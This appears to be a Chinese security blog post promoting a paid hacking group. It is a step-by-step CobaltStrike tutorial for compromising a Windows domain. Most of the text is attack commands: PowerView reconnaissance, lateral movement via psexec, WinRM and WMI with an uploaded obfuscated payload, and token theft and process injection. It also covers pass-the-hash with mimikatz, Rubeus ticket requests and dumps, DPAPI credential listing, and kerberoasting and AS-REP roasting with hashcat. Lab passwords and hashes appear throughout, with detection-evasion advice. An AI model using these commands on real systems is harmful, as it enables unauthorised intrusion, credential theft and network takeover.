什么?你还不会CoblatStrike进行域渗透?

文摘   2024-05-24 11:52   陕西  

欢迎加入我的知识星球,目前正在更新域和攻防相关的文章,后续会跟更免杀的东西,99/永久。每100人加29。

加好友备注星球!!!

你买的到的不仅仅是星球内的资源,更是群内的氛围,群内杜绝划水,杜绝聊和技术关的事情。

加我VX进入:

一些资源的截图:

域信息收集: 

使用powerview: 

导入模块:

powershell-import /home/kali/Powerview.ps1

获取域:

powershell Get-Domain

获取域控制器:

powershell Get-DomainController | select Forest,Name,OSVersion | fl

可以看到查询出来了两个域控制器。

获取林中的所有域包括子域:

powershell Get-ForestDomain

因为我这里只有一个根域,所以只会返回一个。

获取域策略:

这里其实和crackmapexec-pass-pol参数是一样的。

powershell Get-DomainPolicyData | select -ExpandProperty SystemAccess

获取域用户:

powershell Get-DomainUser -Identity nlamb -Properties DisplayName,MemberOf | fl

获取计算机账户:

powershell Get-DomainComputer -Properties DnsHostName | sort -PropertyDnsHostName

获取域内的OU:

powershell Get-DomainOU -Properties Name | sort -Property Name

获取域内的组:

如下命令的like参数表示查找带有Admins字符的组。

powershell Get-DomainGroup | where Name -like "*Admins*" | selectsAMAccountName

可以看到如下这些组都是带有Admins这个字符的.

获取域组成员:

如下命令查询了Domain Admins组中有那些成员,最主要的还是替换-Identity参数中的值。

powershell Get-DomainGroupMember -Identity "Domain Admins" | selectMemberDistinguishedName

获取域内的GPO:

powershell Get-DomainGPO -Properties DisplayName | sort -PropertyDisplayName

可以看到这里只有两个默认的GPO

我们也可以查询某台机器应用了那些组策略。

powershell Get-DomainGPO -ComputerIdentity DC -Properties DisplayName |sort -Property DisplayName

查询域用户在那台机器登录过:

枚举所有计算机,并为指定组的用户查询域(默认的域管理员),找到这些用户登录的域机器。

powershell Find-DomainUserLocation | select UserName,SessionFromName

因为我这里只有一台DC和一台辅控,所以没有查询出来什么,但是在实战中肯定是可以查询出来的。

枚举网络会话:

查询本地或远程机器上的会话消息。

powershell Get-NetSession -ComputerName DC | select CName,UserName

获取域信任

powershell Get-DomainTrust

因为我只有一个根域,所以是查不出来的。

横向移动:

CobaltStrike在远程目标上提供了指定Beacon,代码,命令的三种策略。第一种策略就是jump命令,命令的语法是: jump [method] [target] [listener]

如下图:

第二种策略就是remote-exec,它是使用内置的远程执行命令。语法是: remote-exec [method] [target] [Command]

我们可以通过winrm来确定目标的架构。

remote-exec winrm DC (Get-WmiObjectWin32_OperatingSystem).OSArchitecture

然后我们可以通过jump winrm对其进行横向,首先需要创建一个监听器。

然后如下命令横向到DC1这台机器。

jump winrm64 DC1 监听器名称

需要注意的是你当前的权限是可以访问目标机器的。

然后我们就可以使用jump命令来进行横向了。

可以看到成功获取到DC1这台机器的权限。

其实这种场景也用于如果进程中有域管理员的进程,那么我们就可以使用steal_token进行窃取然后横向了。

当然也可以使用rev2self来恢复令牌。

使用Psexec我们会发现有两个,一个是psexec64psexec_pshpsexec首先会将服务二进制文件上传到目标,然后创建并启动服务来运行该二进制文件,而psexec_psh不会讲二进制文件复制到目标,而是执行一个powershell

使用如下命令来进行横向:

jump psexec64 DC1 监听器名称

可以看到成功了。

尝试使用psexec_psh

jump psexec_psh DC1 smbs

可以看到它上线是通过powershell进行上线的。

现在让我们尝试使用wmi进行横向。

wmi是在执行远程命令这里,我们可以生成一个smb为监听器的马,然后通过ipc传递上去使

wmi去执行即可。

这里我们的可选性就比较多了。

我们可以去制作一个免杀的马。

生成shellcode之后做一个混淆。

然后使用upload命令进行上传。

cd \\DC1\ADMIN$upload /home/kali/ccc.exeremote-exec wmi DC1 C:\Windows\ccc.exe

然后我们就可以使用link去连接了。

link DC1

当我们去使用wmi去执行上传的木马时,他会在WmiPrvSE子进程下来跑。

我们也可以不使用CobaltStrike中的WMI

execute-assembly /home/kali/SharpWMI.exe action=execcomputername=DC2.relaysec.com command="C:\windows\system32\calc.exe"

如上图可以看到成功横向。

除了dotnet方式之外,我们也可以采用powershell版本的wmi的方式来横向。

用户模拟和凭据:

一般我们横向到目标机器之后首先需要查看那些账户在这台机器登录过。

我们可以使用net logons命令来进行查询。

为什么需要查看它,因为如果我们横向到的一台机器上域管理员登录过的话,那么它的密码会

保存在lsass进程中。

包括我们也可以查看进程,看是否有域管理员或者其他用户在跑的进程。

make_token

克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码。

make_token是使用LogonUserA这个API来编写的。

我们首先查看getuid

可以看到现在是本地管理员这个账户。

假设现在我们有一个账户,而这个账户就是目标机器上的本地管理员或者域管理员。

那么我们就可以使用make_token来模拟这个账户的令牌去访问。

这里需要知道账号以及密码,这里我就直接使用域管理员账户来进行演示。

make_token relaysec\Administrator QWEasd123..

但是我们会发现我们使用getuid查看的时候还是本地管理员的账户。

这是因为模仿的是我们自己的token

就是说虽然getuid查询出来还是本地管理员的账户,但是对于其他网络连接他会使用不同的凭证。

我们可以使用rev2self 来恢复原始的令牌,需要注意的是make_token这个命令是不需要管理员权限运行的。

进程注入:

我们可以将shellcode注入到目标进程中,可以注入到当前用户的进程,也可以注入到其他用户的进程。

inject 进程id x64 监听器

我们这里创建一个tcp的监听器。

窃取令牌:

make_token一样,我们可以通过进程来窃取令牌,他会打开一个目标进程的句柄,以便复

制和模拟访问令牌,所以需要管理员的权限。

steal_token 进程id

spawnas:

这个命令他会使用另外一个用户的明文凭据生成一个新的进程,然后将shellcode注入到其中。

spawnas relaysec\Administrator 密码 监听器

Hash传递

Hash传递其实就是允许你使用用户的NTLM散列对windows进行身份认证,工作原理就是使用一个假的身份启动一个新的登录会话,然后提供域,用户名和NTLM散列替换此会话消息。

现在让我们来尝试一下。

首先我们这里是无法访问DC的。

现在假设我们已经拥有了某个域用户,而这个域用户对于某台机器有着访问的权限,这里演示使用域管理员的NTLM散列。

pth relaysec\Administrator 120affe7f83854a57eb32bb6b76e70fa

我们也可以直接使用mimikatz来进行传递。

mimikatz sekurlsa::pth /user:Administrator /domain:relaysec.com/ntlm:120affe7f83854a57eb32bb6b76e70fa

他会在目标主机上生成一个cmd.exe的进程。

接下来我们只需要模拟这个进程即可。

steal_token 5764

可以看到成功访问。

同样也可以使用rev2self来恢复令牌,也可以使用kill来杀死这个进程。

密钥传递

我们可以通过kerberos来进行身份验证,而不是通过NTLM的方,我们可以使用AES为用户来

请求KerberosTGT

我们可以使用Rubeus来完成。

首先我们需要获取到用户的rc4

execute-assembly /home/kali/Rubeus.exe hash /user:Administrator/password:QWEasd123.. /domain:relaysec.com

然后我们就可以使用这个rc4来请求TGT了。

execute-assembly /home/kali/Rubeus.exe asktgt /user:Administrator/domain:relaysec.com /rc4:120AFFE7F83854A57EB32BB6B76E70FA /nowrap

也可以使用AES来获取TGT

这里的opsec参数会更贴近kerberos流量。

execute-assembly /home/kali/Rubeus.exe asktgt /user:Administrator/domain:relaysec.com/aes256:B6FD5D97717EE458884C6CA5E23D023468F8197BD716F2248D619B8F361B2DB6/nowrap /opsec

然后我们将生成的base64编码的票据,转换成kirbi格式。

echo -en "tikcet" | base64 -d > xxx.kirbi

导入之后就可以访问了。

kerberos_ticket_use xxx.kirbi

提取kerberos票据

我们不需要使用AESRC4为用户来申请TGT,我们可以直接使用Rebues来查看内存中票

据,如果目标用户登录到我们机器上的话,我们就可以进行提取。

如下命令将显示内存中的票据。

execute-assembly /home/kali/Rubeus.exe triage

如上图我们可以看到我们需要关注的是Service这里,只要是krbtgt颁发的一般都是TGT的票据,我们可以看到第一行域管理员在LUID0x9c1904上有一个登录会话,那么我们就可以将其票据导出。

导出票据需要指定LUID以及service即可。

execute-assembly /home/kali/Rubeus.exe dump /service:krbtgt/luid:0x9c1904 /nowrap

这样就获取到了一个base64的票据,然后转换导入即可。

Socks

相信代理搭建已经很熟悉了,CobaltStrike带有默认的socks4代理,但是很慢,不建议用,一般来说我们用nps足以,然后使用Proxychains来进行代理即可。或者使用proxifier.exe工具来代理,可以使用这个工具来代理ADExplorer这个软件。然后我们就可以直接使用这个工具来连接ldap了。包括也可以代理浏览器等等。如果我们想要使用MSF来使用这个socks代理的话,那么我们只需要复制代理这里。

然后将这条命令放到MSF中执行即可代理。

但是我们一般不会使用CS默认带的socks4,一般我们搭建socks5,所以这里可以稍微改一下即可。

setg Proxies socks5:10.10.211.102:端口

DPAPI

数据保护APIDPAPI)是一个内置在窗口中的一个组件,它提供了一种加密和解密数据的方法。它使用与特定用户或计算机绑定的加密密钥,并允许本机Windows功能和第三方应用程序对用户透明地保护/不保护数据。

DPAPIwindows凭据管理器用来存储已保存的密码,比如RDP的密码等等。

我们可以在appdata目录中找到凭据管理器数据。

ls C:\Users\Administrator\AppData\Local\Microsoft\Credentials

如上图我这里是没有的,但是你在实战中往往是存在的。

也可以使用windows自带的工具来进行获取。

vaultcmd /listcreds:"Windows Credentials" /all

或者可以直接使用Mimikatz

mimikatz vault::list

我们可以在机器的凭据管理器中找到相应的凭据。

如果需要解密凭据有很多工具可以做到这一点。

Pivot监听器

pivot监听也是TCP类型的一种监听器,但是它的工作方式和常规的TCP监听器是相反的,一般

我们创建监听器都是在Listener这里创建,Pivot监听器不是在这里创建的,他在单个Beacon上进行创建,其实就是将现有的Beacon绑定一个端口,充当一台TCP服务器。我们可以在Beacon这里右键,然后选择代理转发->转发上线。

如上图我们给定端口之后点击保存即可。

然后我们使用nestat命令查看:

run netstat -anp tcp

可以看到已经在监听了。

我们还需要让防火墙将4444端口流量放行。

netsh advfirewall firewall add rule name="Allow 4444" dir=inaction=allow protocol=Tcp localport=4444 //添加一条规则
netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCPlocalport=4444 //删除一条规则

需要记住的是一定要将4444端口放行不然上线不了。

然后我们如果获取到凭据之后,那么就可以直接pth了。

指定的监听器就是我们刚才创建的监听器。

jump psexec_psh DC tcp-port-4444

kerberoast

这个漏洞想必大家已经很熟悉了,

服务票据会使用服务账户的哈希进行加密,这样一来,Windows域中任何经过身份验证的用户都可以从 TGS 处请求 ST 服务票据。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。这里就不叙述了,我们注意来看看在CobaltStrike如何查询以及如何攻击。

execute-assembly /home/kali/Rubeus.exe kerberoast /simple /nowrap

可以使用如上命令来进行查询。

但是这种方式非常不建议,这种方式并不是OPSEC的表现。

我们可以通过ldap协议进行查询过滤。

查找其中的服务密码名字段不为空的所有用户。这样以来我们就能确定那些服务账户是有密码的,那么就变向的确定了那些是真正的服务账户

execute-assembly /home/kali/ADSearch.exe --search "(&(sAMAccountType=805306368)(servicePrincipalName=*))"

然后我们就可以去执行Rubeus.exe指定用户去进行攻击。

execute-assembly /home/kali/Rubeus.exe kerberoast /user:mssql_svc/nowrap

然后就可以放到Hashcat里面去跑了。

hashcat hash.txt /usr/share/passwd.txt

AS_REP Roasting

这个攻击相信搭建也是很熟悉了,其实就是某些账户如果没有设置预身份认证的话,我们就可以为这个账户去请求TGT,然后去破解即可。查询那些账户没有设置:

execute-assembly /home/kali/ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributescn,distinguishedname,samaccountname

可以看到2016这个账户设置了不需要预身份认证。

还是和上面一样不要去直接使用Reubeus,因为这会印象到域内的每一个用户,造成不必要的麻烦。

然后我们就可以指定win2016这个账户去攻击了。

execute-assembly /home/kali/Rubeus.exe asreproast /user:win2016 /nowrap

然后放到Hash去跑就行了。

本小节就先到这里,期待和您的下次相遇!!!

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章